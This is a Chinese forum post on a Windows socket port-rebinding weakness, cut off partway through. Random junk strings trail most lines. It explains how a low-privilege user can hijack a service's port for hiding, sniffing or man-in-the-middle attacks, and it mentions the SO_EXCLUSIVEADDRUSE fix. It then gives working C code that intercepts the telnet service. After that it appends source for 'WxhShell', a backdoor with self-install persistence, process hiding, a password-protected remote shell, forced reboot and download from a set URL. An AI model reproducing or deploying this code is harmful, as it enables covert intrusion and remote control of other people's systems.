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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f`?|A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ddw!FH2W (  
!XK p_v  
  saddr.sin_family = AF_INET; 5~\W!|j/  
L|c01  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )&*&ZL0  
Jap v<lV%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0hPm,H*Y]  
aUd6 33  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h322^24-2  
il:+O08_  
  这意味着什么?意味着可以进行如下的攻击: @.%ll n  
WhkE&7Gk  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 d@C93VYp  
Z rvb %  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) akaQ6DIdG  
\;Ii(3+v;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J&lQ,T!?B  
T'w=v-(J  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  y M>c**9  
r| YuHm  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ZVI.s U  
Lw3Z^G  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3uN;*f  
T;I a;<mfE  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 CnJO]0Op3  
q'PA2a:  
  #include w@hm>6j  
  #include vh((HS-)  
  #include K !`tEW[  
  #include    :[,n`0lH  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Cfa?LgSz  
  int main() KpSHf9!&[  
  { ni9/7  
  WORD wVersionRequested; U*)pUJ{&t  
  DWORD ret; hMi`n6m  
  WSADATA wsaData; ^ng?+X>mP  
  BOOL val; Zsaz#z|xW  
  SOCKADDR_IN saddr; g&v2=&aj  
  SOCKADDR_IN scaddr; Zpg$:Rr  
  int err; =T!M`  
  SOCKET s; S?;&vs9j  
  SOCKET sc;  E{h   
  int caddsize; e;,D!  
  HANDLE mt; 0&Zm3(}  
  DWORD tid;   sY=$\hj  
  wVersionRequested = MAKEWORD( 2, 2 ); R\)pW9)  
  err = WSAStartup( wVersionRequested, &wsaData ); CmM K\R.  
  if ( err != 0 ) { _8kZ>w(L  
  printf("error!WSAStartup failed!\n"); -fYgTst2  
  return -1; I9H+$Wjd  
  } mL ]zkD_  
  saddr.sin_family = AF_INET; Fj|C+;Q.  
   0z.Hl1  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 i{xgygp6f  
}VdohX-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jeC3}BL }  
  saddr.sin_port = htons(23); C}#JvNyQ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nT9B?P>  
  { &Zd! |u  
  printf("error!socket failed!\n"); 8IbHDDS  
  return -1; gTm[<Y  
  } v 6Tz7  
  val = TRUE; !\2Xr{f  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8h}o5B  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7@5}WNr  
  { 9>%ti&_-jt  
  printf("error!setsockopt failed!\n");  GVe[)R  
  return -1; BG/M3  
  } y?;&(Tcbt8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; eA4@)6WP(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 f8!*4Bw  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b<NI6z8\  
3 `$-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Fep#Pw1  
  { +,f|Y6L<  
  ret=GetLastError(); l>Z"y\l =  
  printf("error!bind failed!\n"); *?+E?AGe  
  return -1; LDx1@a|83  
  } +.:- :  
  listen(s,2); ):31!IC  
  while(1) #zyEN+  
  { I 4 ,C-D  
  caddsize = sizeof(scaddr); L slI!.(  
  //接受连接请求 N\BB8<F  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?V3e;n  
  if(sc!=INVALID_SOCKET) QJjqtOf>  
  { 3a_~18W  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ZG"_M@S.  
  if(mt==NULL) 5L'X3g  
  { s,)Z8H  
  printf("Thread Creat Failed!\n"); 9s7sn*aB#5  
  break; M<4~ewWJ  
  } ssUWr=mD  
  } -J[*fv@  
  CloseHandle(mt); )OS^tG[=  
  } 4[v %]g`  
  closesocket(s); IZoS2^:yw  
  WSACleanup(); !8(: G6Ne  
  return 0; 9{]U6A*K0w  
  }   R<I)}<g(A3  
  DWORD WINAPI ClientThread(LPVOID lpParam) bk44 qL;8  
  { JmjqA Dex  
  SOCKET ss = (SOCKET)lpParam; Ko|nF-r_  
  SOCKET sc; ^"STM'Zh  
  unsigned char buf[4096]; ZF!cXo7d  
  SOCKADDR_IN saddr; #(=8 RA:@  
  long num; g4EC[>5!r  
  DWORD val; $F"'= +0  
  DWORD ret; Qyx%:PE  
  //如果是隐藏端口应用的话,可以在此处加一些判断 a<*q+a(*W  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ' @i0~  
  saddr.sin_family = AF_INET; T{<riJ`O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); n** W  
  saddr.sin_port = htons(23); [T<nTB# w  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f~ kz=R=  
  { F9IrbLS9c  
  printf("error!socket failed!\n"); 7u73v+9qn:  
  return -1; |WwC@3)  
  } gqJSz}'  
  val = 100; H0r@dn  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I7,5ID4pn  
  { R~ n[g  
  ret = GetLastError(); P'MfuTtT&  
  return -1; )_BQ@5NK  
  } (?4m0Sn>#h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .5*5S[  
  { G'<:O(Imu  
  ret = GetLastError(); Mtq\xF,/+  
  return -1; /vO8s??  
  } .^ djt  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &8$Gy u  
  { A{X:p3$eN  
  printf("error!socket connect failed!\n"); blyU5 3g  
  closesocket(sc); 0P i+ (X  
  closesocket(ss); [}:;B$,  
  return -1; pZHx  
  } v,]-;V~<  
  while(1) i[L5,%5<H  
  { )S"!)\4 b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 GWd71ZtFO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5,dKha  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0])D)%B k  
  num = recv(ss,buf,4096,0); I8};t b#  
  if(num>0) uIh68UM  
  send(sc,buf,num,0); b$FK}D5  
  else if(num==0) F/p/&9  
  break; )<YfLDgTs  
  num = recv(sc,buf,4096,0); 6.5E d-  
  if(num>0) s R/z)U_  
  send(ss,buf,num,0); V9`?s0nn^  
  else if(num==0) ./5LV)_`  
  break; hNU$a?eVpR  
  } D]tI's1  
  closesocket(ss); Z:eB9R#2y  
  closesocket(sc); |xYr0C[Pq  
  return 0 ; 'aV])(Wm>  
  } *'&]DJj  
oD<aWZ"Z  
"qh~wKJ  
========================================================== @~7y\G  
=1#obB  
下边附上一个代码,,WXhSHELL m4\e `nl  
D *=.;Rq  
========================================================== yK+1C68A  
eYtP396C|  
#include "stdafx.h" <cm(QNdcC  
 GY`mF1b  
#include <stdio.h> ~cr##Ff 5  
#include <string.h> iy!SqC  
#include <windows.h> ) KvGJo)("  
#include <winsock2.h> d!57`bVOd  
#include <winsvc.h> &ci;0P#Q  
#include <urlmon.h> Q Uy7Q$W  
i8w/a  
#pragma comment (lib, "Ws2_32.lib") ~cv322N   
#pragma comment (lib, "urlmon.lib") wE~&Y? ^  
CH9Psr78  
#define MAX_USER   100 // 最大客户端连接数 x3AAn,m8  
#define BUF_SOCK   200 // sock buffer CKE):kHu  
#define KEY_BUFF   255 // 输入 buffer MD98N{+[|  
E4N/or  
#define REBOOT     0   // 重启 DbWaF5\yD  
#define SHUTDOWN   1   // 关机 <>v=jH|L  
$ U=j<^R}a  
#define DEF_PORT   5000 // 监听端口 l"zwH  
eQqnPqi-  
#define REG_LEN     16   // 注册表键长度 v`r![QpYf  
#define SVC_LEN     80   // NT服务名长度 -#Bk  
u_HCXpP!Q  
// 从dll定义API ]A&pX AM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k'8tqIUN]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F5y0(=$T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mV'-1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y g:&cIr,  
#_SsSD=.Sy  
// wxhshell配置信息 -xXdT$Xd  
struct WSCFG { G)IK5zCDd  
  int ws_port;         // 监听端口 x?7z15\  
  char ws_passstr[REG_LEN]; // 口令 ni$;"R GC  
  int ws_autoins;       // 安装标记, 1=yes 0=no "|Gr3sD  
  char ws_regname[REG_LEN]; // 注册表键名 Np"~1z.(b  
  char ws_svcname[REG_LEN]; // 服务名 prEI9/d"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;,lFocGv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y{d-k1?s5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J ?0P{{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tdsfCvF= a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?zuKVi? I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sTS/ ]"l  
dL]wu! wE  
}; CzDV^Iv;Q{  
;&dMtYb  
// default Wxhshell configuration ~_SRcM{  
struct WSCFG wscfg={DEF_PORT, i@`qam   
    "xuhuanlingzhe", %(1Jt "9|  
    1, f"z;'  
    "Wxhshell", T' =6_?7K4  
    "Wxhshell", +!Q*ie+q  
            "WxhShell Service", _vJ(F  
    "Wrsky Windows CmdShell Service", <2af&-EG s  
    "Please Input Your Password: ", 7NvnCs  
  1, 3a?|}zr4  
  "http://www.wrsky.com/wxhshell.exe", od)ssL&E~  
  "Wxhshell.exe" gNJdP!(t  
    }; x7xMSy  
.uinv  
// 消息定义模块 !]3kFWs  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MTip4L W9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cT5BBR   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p\P)    
char *msg_ws_ext="\n\rExit."; =w!2R QB  
char *msg_ws_end="\n\rQuit."; cd|/ 4L 6  
char *msg_ws_boot="\n\rReboot..."; T65"?=<EB  
char *msg_ws_poff="\n\rShutdown..."; X[!S7[d-y  
char *msg_ws_down="\n\rSave to "; sd9b9?qiu  
I!#WXK  
char *msg_ws_err="\n\rErr!"; 8VtRRtl  
char *msg_ws_ok="\n\rOK!"; |>RNIJ]  
Jot7 L%,TB  
char ExeFile[MAX_PATH]; Bg[_MDWc-P  
int nUser = 0; J4x|Afp  
HANDLE handles[MAX_USER]; ]O>AD 6P  
int OsIsNt; u9m ~1\R*  
iR"6VO  
SERVICE_STATUS       serviceStatus; ;X;(7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @\r2%M-  
z=TO G P(  
// 函数声明 |- <72$j  
int Install(void); JEs@ky?{z  
int Uninstall(void);  {FX]1:  
int DownloadFile(char *sURL, SOCKET wsh); BRa9j:_b  
int Boot(int flag); D\Y,2!I  
void HideProc(void); n[B[hAT  
int GetOsVer(void); gFd*\Dk  
int Wxhshell(SOCKET wsl); |c>.xt~  
void TalkWithClient(void *cs); c^rWS&)P  
int CmdShell(SOCKET sock); 6RG63+G  
int StartFromService(void); ,^7] F"5  
int StartWxhshell(LPSTR lpCmdLine); VsJKxa4  
==UYjbuU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &2Ef:RZF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wPX^P  
O^PN{u  
// 数据结构和表定义 _e/Bg~  
SERVICE_TABLE_ENTRY DispatchTable[] = { 1_ <\ ~J  
{  Xr:s-L  
{wscfg.ws_svcname, NTServiceMain}, :dQRrmM  
{NULL, NULL} .SLpgYFL{  
}; (xE |T f  
/M JI^\CA  
// 自我安装 /~Bs5f.]?  
int Install(void) MsZx 0]  
{ 4JyA+OD4{  
  char svExeFile[MAX_PATH]; FJ^\K+;  
  HKEY key; +f%"O?  
  strcpy(svExeFile,ExeFile); lMH~J8U3  
*$5p,m6G  
// 如果是win9x系统,修改注册表设为自启动 /+*N.D'`t,  
if(!OsIsNt) { r\cY R}v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9Z }<H/q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t(dVd%   
  RegCloseKey(key); /OYa1,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A;^ iy]"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <5^m`F5  
  RegCloseKey(key); PD^G$LT  
  return 0; Y9gw ('\w  
    } jABFdNjri  
  } SME9hS$4  
} AusjN-IL  
else { N:CQ$7T{ j  
*dxm|F98  
// 如果是NT以上系统,安装为系统服务 %% /8B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1Q!kk5jE  
if (schSCManager!=0) rB{w4  
{ cly}[<w!  
  SC_HANDLE schService = CreateService 7#W]Qj  
  ( ZyDNtX%  
  schSCManager, }n "5r(*^@  
  wscfg.ws_svcname, )t@9!V  
  wscfg.ws_svcdisp, alB'l  
  SERVICE_ALL_ACCESS, Aix6O=K6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :<mJRsDf  
  SERVICE_AUTO_START, F+GX{e7E\  
  SERVICE_ERROR_NORMAL, /G|v.#2/g  
  svExeFile, yXoNfsv  
  NULL, FZW`ADq]  
  NULL, =36fS/Gb  
  NULL, K a& 2>F  
  NULL, PO8Z2"WI  
  NULL Z#B}#*<C  
  ); {%CW!Rc  
  if (schService!=0) E#_2t)20  
  { x=IZ0@p  
  CloseServiceHandle(schService); d:w/{m% #  
  CloseServiceHandle(schSCManager); gS'7:UH,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @HiGc^ X(  
  strcat(svExeFile,wscfg.ws_svcname); wV iTMlq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M.6uWwzQR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -KV,l  
  RegCloseKey(key); @0s' (  
  return 0; _"Z?O)d*  
    } NuSdN> 8ll  
  } *oeXmY  
  CloseServiceHandle(schSCManager); j}tM0Ug.U  
} p"c6d'qe  
} dq@ * 8ui  
qHp2;  
return 1; 1 z~|SmP1  
} Zs{7km  
LSA6*Q51  
// 自我卸载 !'~Ldl  
int Uninstall(void) /8Y8-&K0  
{ RRPPojKZ  
  HKEY key;  ?ueL'4Mm  
sT"ICooc  
if(!OsIsNt) { TIZ2'q5wg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ||Owdw|{  
  RegDeleteValue(key,wscfg.ws_regname); X'<RqvDc5  
  RegCloseKey(key); VBQAkl?(}4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l"(PP3  
  RegDeleteValue(key,wscfg.ws_regname); Gp \-AwE  
  RegCloseKey(key); MZ&.{SY7  
  return 0; MH#"dGGu  
  } fkp(M  
} A$N%deb  
} 6IV):S~  
else { &Z[+V)6,,  
#h^nvRmON  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0 K#|11r  
if (schSCManager!=0) C3Q #[  
{ ?gU raSFU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 87[ ,.W  
  if (schService!=0) [ i, [^  
  { LdH1sHy*d`  
  if(DeleteService(schService)!=0) { ;l _b.z0^6  
  CloseServiceHandle(schService); -&`_bf%M  
  CloseServiceHandle(schSCManager); !L{mE&  
  return 0; ,hu@V\SKv  
  } $.pCoS]i  
  CloseServiceHandle(schService); ?wPTe^Qtv  
  } #7Q9^rG  
  CloseServiceHandle(schSCManager); i a!!jK}  
} ]|eMEN['  
}  q/ Y4/  
c:Cw #  
return 1; kJJiDDL0;*  
} G-2~$ u  
o]4BST(A  
// 从指定url下载文件 $)"T9 $>$  
int DownloadFile(char *sURL, SOCKET wsh) p@% Pdx  
{ $3l#eKZA  
  HRESULT hr; .z_nW1id  
char seps[]= "/"; {Kr}RR*{X  
char *token; ~`&4?c3p  
char *file; esA^-$  
char myURL[MAX_PATH]; S$hxR  
char myFILE[MAX_PATH]; e|~{ X\l  
y>0 @.  
strcpy(myURL,sURL); SQ> Yf\  
  token=strtok(myURL,seps); :t!J 9  
  while(token!=NULL) PvV\b<Pe+  
  { rgCC3TX  
    file=token; /klo),|&  
  token=strtok(NULL,seps); ~y"R{-%uS  
  } ?]Hs~n-  
(^FMm1@T  
GetCurrentDirectory(MAX_PATH,myFILE); 9) ]`le  
strcat(myFILE, "\\"); eA(\#+)X `  
strcat(myFILE, file); Ncbe{}<md  
  send(wsh,myFILE,strlen(myFILE),0); q6$6:L,<  
send(wsh,"...",3,0); d+v| &yN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TM{m:I:Z*n  
  if(hr==S_OK) JS8pN5   
return 0; 5]]QW3  
else 4y+hr   
return 1; SaF0JPm4z  
_ps4-<ugC  
} Zy3F%]V0  
`Zo5!"'  
// 系统电源模块 jrN 5l1np  
int Boot(int flag) #e-7LmO~  
{ paD[4L?4Hk  
  HANDLE hToken; fgtwV ji  
  TOKEN_PRIVILEGES tkp; !gRU;ZQU_  
0 fT*O  
  if(OsIsNt) { X%-hTl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CPNV\qCY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \R@}X cqZ  
    tkp.PrivilegeCount = 1; <ZZfN@6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P;25 F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hl**G4z9q  
if(flag==REBOOT) { GYIQ[#'d7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A@lM =   
  return 0; jWxa [ >  
} ;:[P/eg  
else { {`2 0'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V?JmIor  
  return 0; Pfvb?Hy  
} uv$5MwKU  
  } $aTo9{M^  
  else { u"v$[8  
if(flag==REBOOT) { "[["naa  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9mMQ  
  return 0; C'A D[`p  
} =r]_$r%gR  
else { !K*3bY`#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :jTbzDqQ  
  return 0; 2ALYfZ|d  
} b4$.uLY  
} !?i9fYu  
2xuU[  
return 1; mXJG &EA  
} gf9,/m  
4xs>X7  
// win9x进程隐藏模块 6@^ ?dQ  
void HideProc(void) B\AyG4J  
{ $?kTS1I(  
P!9-!+F"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V e[Kv07  
  if ( hKernel != NULL ) :X9;KoJl-V  
  { GPs4:CIgG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); CWp>8@v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [C 7X#|  
    FreeLibrary(hKernel); <MhODC")  
  } ZyC[w 7$I2  
>/GYw"KK  
return; mrE> o !  
} 7[kDc-  
C\C*@9=&x  
// 获取操作系统版本 0""%@X]m  
int GetOsVer(void) 4yxf/X)  
{ !&KE">3Qu  
  OSVERSIONINFO winfo; GF<SQHL,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w"Zws[pm]  
  GetVersionEx(&winfo); z9AX8k(B6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E0r#xmk  
  return 1; :]\-GJV5  
  else =x^IBLHN  
  return 0; \"K:<+RH  
} W-RshZ\  
`kOp9(Q{  
// 客户端句柄模块 i2O$oHd  
int Wxhshell(SOCKET wsl) ,+n{xI2  
{ 5iItgVTW  
  SOCKET wsh; = p2AK\  
  struct sockaddr_in client; C0e oV}  
  DWORD myID; { zalB" i  
Q;2k bVWY  
  while(nUser<MAX_USER) J0@#xw=+  
{ ,tFLx#e#  
  int nSize=sizeof(client); GV)DLHiyxX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Vc|QW  
  if(wsh==INVALID_SOCKET) return 1; Mm"0Ip2"  
+{ e2TY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b Oh[(O!  
if(handles[nUser]==0) jvE&%|Ngw  
  closesocket(wsh); Xdf;'|HO  
else %8% 0l*n'  
  nUser++; ;2eZa|M*q  
  } JHVesX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); olDzmy(=W*  
9qJ:h-?M  
  return 0; &ujq6~#  
} )!`>Q|]}Zd  
/EM=!@ka  
// 关闭 socket 5=_))v<Tp  
void CloseIt(SOCKET wsh) 'khhn6itA  
{ N*hx;k9  
closesocket(wsh); cC`PmDGq  
nUser--; nfr..4,:  
ExitThread(0); R? ,XSJ  
} ;&RHc#1F  
/(A rA=#  
// 客户端请求句柄 _H2%6t/V  
void TalkWithClient(void *cs) 9[\$\l  
{ 'F8:|g  
2I~a{:O  
  SOCKET wsh=(SOCKET)cs; u@[JX1&3"n  
  char pwd[SVC_LEN]; {f%x8t$  
  char cmd[KEY_BUFF]; )d?L*X~y'  
char chr[1]; 5fhe{d"si  
int i,j; T 3 +lYE  
pXxpEv  
  while (nUser < MAX_USER) { 9d,2d5Y  
?m.Ry  
if(wscfg.ws_passstr) { Xu5^ly8p9q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?[Qxq34  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RZKczZGZg  
  //ZeroMemory(pwd,KEY_BUFF); L)Ru]X`  
      i=0; gtb,}T=1  
  while(i<SVC_LEN) { &uTK@ G+  
7;:Uv=  
  // 设置超时 o>4GtvA*  
  fd_set FdRead; ?pF uV`Zm  
  struct timeval TimeOut; }W R?n  
  FD_ZERO(&FdRead); ;=ERm=  
  FD_SET(wsh,&FdRead); 3H/4$XJB  
  TimeOut.tv_sec=8; <Okl.Iz>  
  TimeOut.tv_usec=0; P EAo'63$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T .L>PL ?=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mOi 8W,2  
{BJn9B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J{5&L &4  
  pwd=chr[0]; GCA?sFwo>  
  if(chr[0]==0xd || chr[0]==0xa) { |/35c0IM  
  pwd=0; y 4jelg  
  break; S A16Ng  
  } uzUZuJ  
  i++; GSu&Z/Jo  
    } s3l:ST  
1{X ;&y  
  // 如果是非法用户,关闭 socket mo3HUXf}8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); , 8F(R%v  
}  ZzuWN&  
BIjQ8 t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $T80vEi+u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u~^d5["T  
9"~,ha7S$  
while(1) { h wfKgsm  
Va m4/6  
  ZeroMemory(cmd,KEY_BUFF); 1 9C=' TMS  
kFHtZS(  
      // 自动支持客户端 telnet标准   9AdA|/WV  
  j=0; 4!KUPgg  
  while(j<KEY_BUFF) { d$`NApr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ueazAsk3g  
  cmd[j]=chr[0]; RZ&T\;m,7  
  if(chr[0]==0xa || chr[0]==0xd) { v81H!c.*  
  cmd[j]=0; n$T'gX#5  
  break; >w"k:O17  
  } CwVORf,uA  
  j++; 42: 6=\  
    } /? j vv&  
Lk|%2XGO&  
  // 下载文件 r|tTDKGQ  
  if(strstr(cmd,"http://")) { XZFM|=%X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _7"G&nZ0  
  if(DownloadFile(cmd,wsh)) Pb^Mc <j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ("L&iu\`@  
  else Bzw!,(u/ "  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4U;6 2 jq  
  } k/ 9S  
  else { ^B|Q&1  
B@W`AD1^{  
    switch(cmd[0]) { >1Y',0v  
  Xr@]7: ,  
  // 帮助 ,D`iV| (  
  case '?': { IPhV|7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5h2@n0  
    break; .:b|imgiv  
  } -C|1O%.  
  // 安装 >f$>Odqe  
  case 'i': { y J&`@gB  
    if(Install()) 4j'cXxo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $*`=sV!r  
    else BM&.Tw|x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @;we4G5  
    break; czV][\5  
    } T.sib&R  
  // 卸载 *3A[C-1~.  
  case 'r': { (hn@+hc  
    if(Uninstall()) 6:(*u{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Iu`xe  
    else O!D0 hW4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !V6O~#  
    break; q >|:mXR  
    } }0P5~]S<5A  
  // 显示 wxhshell 所在路径 aAr gKM f  
  case 'p': { v/E_A3Ay&  
    char svExeFile[MAX_PATH]; ;9r`P_r  
    strcpy(svExeFile,"\n\r"); 2%'iTXF  
      strcat(svExeFile,ExeFile); Xk_xTzJ  
        send(wsh,svExeFile,strlen(svExeFile),0); %!G]H   
    break; XJ|CC.]1u  
    } jQp7TdvLE$  
  // 重启 =~i~SG/f  
  case 'b': { _^<HlfOK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pk*cc h#  
    if(Boot(REBOOT)) R)3P"sGuN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rVx%"_'*-  
    else { #mNM5(o  
    closesocket(wsh); i%8I (F  
    ExitThread(0); w>:~Ev]  
    } ]e'Ol$3U9=  
    break; "?Eh_Dw  
    } s\6kXR  
  // 关机 .&AS-">Z  
  case 'd': { ~L G).  
